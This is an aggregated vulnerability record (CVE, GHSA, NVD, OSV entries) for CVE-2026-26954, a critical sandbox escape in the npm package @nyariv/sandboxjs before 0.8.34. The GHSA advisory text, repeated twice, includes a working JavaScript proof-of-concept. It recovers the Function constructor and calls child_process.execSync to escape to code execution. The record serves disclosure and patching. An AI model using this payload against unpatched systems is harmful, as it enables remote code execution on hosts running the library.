{"id":"CVE-2026-26954","aliases":["EUVD-2026-12043","GHSA-6r9f-759j-hjgv"],"status":"published","title":"SandboxJS has a Sandbox Escape","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00622,"percentile":0.50328,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-03-13T13:46:08Z","modified":"2026-10-28T02:30:33Z","fixes":[{"ecosystem":"npm","package":"@nyariv/sandboxjs","fixed_in":["0.8.34"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.8.33"},{"fixed":"0.8.34"}]}]},{"source":"osv","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.34"}]}]}],"products":[{"vendor":"nyariv","product":"sandboxjs"}],"references":[{"url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085","tags":["web"]},{"url":"https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26954","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6r9f-759j-hjgv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26954.json","tags":["advisory"]},{"url":"https://github.com/nyariv/SandboxJS","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-26954","title":"SandboxJS has a Sandbox Escape","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.","status":"published","published":"2026-03-13T15:51:13.413Z","modified":"2026-03-16T17:06:55.221Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:38:20.971157Z"}],"euvd":[{"id":"EUVD-2026-12043","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.","status":"published","published":"2026-03-13T15:51:13Z","modified":"2026-03-16T17:06:55Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:25:34.078511Z"}],"ghsa":[{"id":"GHSA-6r9f-759j-hjgv","title":"SandboxJS affected by a Sandbox Escape","description":"### Summary\n\nIt is possible to obtain arrays containing `Function`, which allows escaping the sandbox.\n\n### Details\n\nThere are various ways to get an array containing `Function`, e.g.\n\n```js\nObject.entries(this).at(1) // [ 'Function', [Function: Function] ]\nObject.values(this).slice(1, 2) // [ [Function: Function] ]\n```\n\nGiven an array containing `Function`, and  `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.\n\n### PoC\n```js\nconst s = require('.').default;\nconst sb = new s();\n\npayload = `\nconst p = (async function () {})();\n({\n  \"finally\": p.finally,\n  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),\n}).finally('a=process.getBuiltinModule(\"child_process\").execSync(\"ls\", {stdio: \"inherit\"})')();\n`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSandbox Escape -\u003e RCE","status":"published","published":"2026-03-13T13:46:08Z","modified":"2026-03-16T17:05:29Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:39:36.642723Z"}],"nvd":[{"id":"CVE-2026-26954","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.","status":"published","published":"2026-03-13T19:54:31.143Z","modified":"2026-06-17T10:26:26.647Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:09.358914Z"}],"osv":[{"id":"CVE-2026-26954","title":"SandboxJS has a Sandbox Escape","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.","status":"published","published":"2026-03-13T15:51:13.413Z","modified":"2026-10-28T02:30:33.447016562Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:44:59.80315Z"},{"id":"GHSA-6r9f-759j-hjgv","title":"SandboxJS affected by a Sandbox Escape","description":"### Summary\n\nIt is possible to obtain arrays containing `Function`, which allows escaping the sandbox.\n\n### Details\n\nThere are various ways to get an array containing `Function`, e.g.\n\n```js\nObject.entries(this).at(1) // [ 'Function', [Function: Function] ]\nObject.values(this).slice(1, 2) // [ [Function: Function] ]\n```\n\nGiven an array containing `Function`, and  `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.\n\n### PoC\n```js\nconst s = require('.').default;\nconst sb = new s();\n\npayload = `\nconst p = (async function () {})();\n({\n  \"finally\": p.finally,\n  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),\n}).finally('a=process.getBuiltinModule(\"child_process\").execSync(\"ls\", {stdio: \"inherit\"})')();\n`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSandbox Escape -\u003e RCE","status":"published","published":"2026-03-13T13:46:08Z","modified":"2026-03-16T17:16:38.369045Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:39.965326Z"}]}}